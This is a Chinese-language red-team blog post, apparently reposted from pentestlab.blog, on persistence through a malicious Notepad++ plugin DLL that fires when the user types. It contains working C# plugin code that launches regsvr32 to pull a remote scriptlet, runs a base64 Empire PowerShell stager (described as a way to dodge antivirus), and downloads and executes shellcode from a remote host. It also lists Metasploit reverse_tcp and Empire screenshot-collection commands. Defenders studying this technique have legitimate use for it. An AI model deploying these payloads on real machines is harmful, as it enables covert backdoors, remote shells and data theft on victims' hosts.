利用Notepad++ 自定义插件进行权限维持

 0x00 前言 

    Notepad++是一个流行的 Windows 文本编辑器,它具有插件方式的扩展功能。 在 Windows 环境中,尤其是在开发人员和IT 人员的主机中安装了 Notepad++ 文本编辑器的情况并不少见。除了可以为红队人员提供重要信息的收集之外,还可以通过将从远程命令执行加载或脚本的任意插件来用作权限维持。

0x01 基本消息框示例

     Notepad++ 插件可用于扩展 Notepad++ 的功能。默认情况下,用户可以在 Notepad++ 已信任的插件列表中安装所需插件,但也可以运行安装自定义插件,无需任何验证,从而为开发人员提供可扩展文本编辑器使用的灵活性。插件具有 DLL 文件的形式,要安装自定义插件,只需将 DLL 放入%PROGRAMFILES%\Notepad++\plugins\pluginName\pluginName.dll. 

好处是加载或激活插件不需要用户交互。缺点是需要本地管理员权限才能写入目录。

    应该注意的是,为了加载插件,文件夹名和 DLL文件名需要相同。对于红队人员来说,不需要从头开始编写恶意插件,因为Notepad++ 插件包可以用作修改模板。当特定事件发生时,有多种 API 可用于执行任意操作。当在 notepad++ 中输入字符时, SCI_ADDTEXT API 将触发自定义命令。在以下示例中,当插入字符时将会弹出一个消息框。

可以在https://github.com/kbilsted/NotepadPlusPlusPluginPack.Net/blob/master/Visual%20Studio%20Project%20Template%20C%23/Main.cs

中使用 .NET 模板的OnNotification下进行修改代码

修改的代码如下:
class Main
{
    static bool ExecuteOnce = true;
 
    public static void OnNotification(ScNotification notification)
    {
        if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && ExecuteOnce)
        {
            MessageBox.Show("Persistence via Notepad++ - Visit https://pentestlab.blog");
 
            ExecuteOnce = !ExecuteOnce;
        }
    }

或者:
class Main
{    
      static bool firstRun = true;

    public static void OnNotification(ScNotification notification)
    {
        if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
        {
            using var process = Process.GetCurrentProcess();
            MessageBox.Show($"Hello from {process.ProcessName} ({process.Id}).");

            firstRun = !firstRun;
        }
    }

Notepad++     插入插件消息框示例

      编译代码将生成 DLL 文件,需要在超级管理员权限下运行,因为需要写入权限才能将插件写入到相关的子文件夹中。

    dir "C:\Program Files\Notepad++\plugins\pentestlab"
 Notepad++    插件位置

        在下次启动 Notepad++ 并输入字符时,将弹出一个消息框,显示代码已编译执行成功。

                                                            Notepad++    执行成功

0x02  MSF反弹示例

也可以执行无文件的有效载荷从而建立通信通道。这里可以利用windows  regsvr32  二进制文件从远程位置加载执行脚本。Metasploit 框架通过 web 交付模块支持该利用方式。

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run

可以稍微修改使用所需的参数来执行regsvr32的命令

class Main
    {
    static bool firstRun = true;
 
        public static void OnNotification(ScNotification notification)
        {
            if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
            {
                string strCmdText;
                strCmdText = "/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sct scrobj.dll";
                Process.Start("regsvr32", strCmdText);
                firstRun = !firstRun;
                }
            }
                                                     Notepad++     Regsvr32 方法

类似地,与初始示例一样,当在 Notepad++ 中输入新字符时,将触发执行命令的事件

                                            Notepad++    持久性触发器

     Meterpreter 将进行会话监听,并建立通信通道。

Notepad++    Regsvr32 Meterpreter

执行以下命令将启动与目标主机的交互

sessions
sessions -i 1
pwd
getuid
Notepad++    Meterpreter shell

0x03 Empire反弹shell示例

以类似的方式,Empire C2 可用于生成各种 stager 文件。这些文件通常包含一个可以在 PowerShell 进程中执行的 base64 命令。以下 用stager 方式作为示例:

usestager windows/launcher_sct
Empire Stager 模块

stager 应该指向已经在 Empire 中运行的监听器,并且执行命令会将文件写入到“ generated-stagers ”文件夹中。

set Listener http
execute
Empire – Stager 配置和生成
可以将生成的launcher.sct文件上传到目标系统中,然后通过 regsvr32 命令执行

         或者可以复制launcher.sct文件中生成的base64,通过插件内部使用该命令来执行来躲避杀软的检查。

                                         Empire – PowerShell Base64 有效负载
示例代码:
class Main
    {
     static bool ExecuteOnce = true;
 
        public static void OnNotification(ScNotification notification)
        {
            if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
            {
                string strCmdText;
                strCmdText = "-noP  -sta  -w  -l  enc  base64命令执行代码";
                Process.Start("powershell", strCmdText);
                ExecuteOnce = !ExecuteOnce;
                }
            }
Notepad++ – 插件 Empire Stager

 触发命令后,Empire 中将出现一个新的交互式shell。

 agents
                                                      Notepad++    Empire 

 Empire 模块的命令还可有信息收集的功能,例如对主机桌面进行截图以及用户名、连接字符串或 URL 之类的信息。

usemodule powershell/collection/screenshot
set Agent notepad
execute
                                                  Notepad++   Empire截图
Notepad++     截图

0x04  cobaltstike反弹shell示例

将 MessageBox 替换为 shellcode通过cobasltsike加载,代码如下:

if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
{
    using var client = new WebClient();
    var buf = client.DownloadData("http://172.19.215.47/shellcode");

    var hMemory = VirtualAlloc(
        IntPtr.Zero,
        (uint)buf.Length,
        AllocationType.Reserve | AllocationType.Commit,
        MemoryProtection.ReadWrite);

    Marshal.Copy(buf, 0, hMemory, buf.Length);

    _ = VirtualProtect(
            hMemory,
            (uint)buf.Length,
            MemoryProtection.ExecuteRead,
            out _);

    _ = CreateThread(
            IntPtr.Zero,
            0,
            hMemory,
            IntPtr.Zero,
            0,
            out _);

    firstRun = !firstRun;
}


0x05  总结

应该注意的是,该权限持久性技术的一个缺点是需要用户键入字符,因此可能不会经常收到反弹 shell。



posted @   渗透测试中心  阅读(285)  评论(0编辑  收藏  举报
努力加载评论中...
点击右上角即可分享
微信分享提示